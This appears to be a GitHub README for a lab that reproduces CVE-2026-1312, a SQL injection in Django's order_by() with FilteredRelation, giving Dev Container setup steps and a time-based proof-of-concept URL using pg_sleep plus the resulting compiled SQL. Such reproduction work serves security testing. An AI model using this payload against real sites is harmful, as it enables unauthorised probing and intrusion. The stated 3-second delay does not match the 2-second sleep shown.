sw0rd1ight/cve-2026-1312Reproduces CVE-2026-1312, a Django SQL injection vulnerability, with a Dockerized environment and step-by-step PoC for security testing.
CVE-2026-1312 is a high-severity Django SQL injection vulnerability: when a column alias containing a dot is used in QuerySet.order_by(), combined with FilteredRelation dynamically constructing queries via dictionary expansion, an attacker may be able to inject malicious SQL
Affected versions:
This vulnerability project is built using VS Code's Dev Container.
1️⃣ Open the project Open the existing project root directory (containing the .devcontainer folder) with VS Code.
2️⃣ Reopen the container (build the Dev Container)
Press Ctrl+Shift+P (Windows/Linux) or Cmd+Shift+P (Mac)
Enter Remote-Containers: Reopen in Container
VS Code will read the .devcontainer configuration and build the container (the first build may take a few minutes)
⚠️ If the Dockerfile or dependencies have been updated, you can choose Remote-Containers: Rebuild Container to ensure the latest environment is used.
3️⃣ Run the Django development server
Open the command palette with Ctrl+Shift+P
Enter Tasks: Run Task
Select django:start (the task is already configured in .vscode/tasks.json)
This task will start the Django development server inside the container
It listens on 0.0.0.0:8086 by default
4️⃣ Open the browser and access the project
Open your browser and visit:
5️⃣ Notes
First run:
You may need to run database migrations:
python manage.py migrate
Access the /book/search endpoint, http://localhost:8086/book/search?name=vuln_book.id,pg_sleep(2)
You will see a 3-second delay, confirming the vulnerability
At this point, the SQL compiled by the Django ORM at the underlying level is
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" ORDER BY ("vuln_book".id,pg_sleep(2)) ASC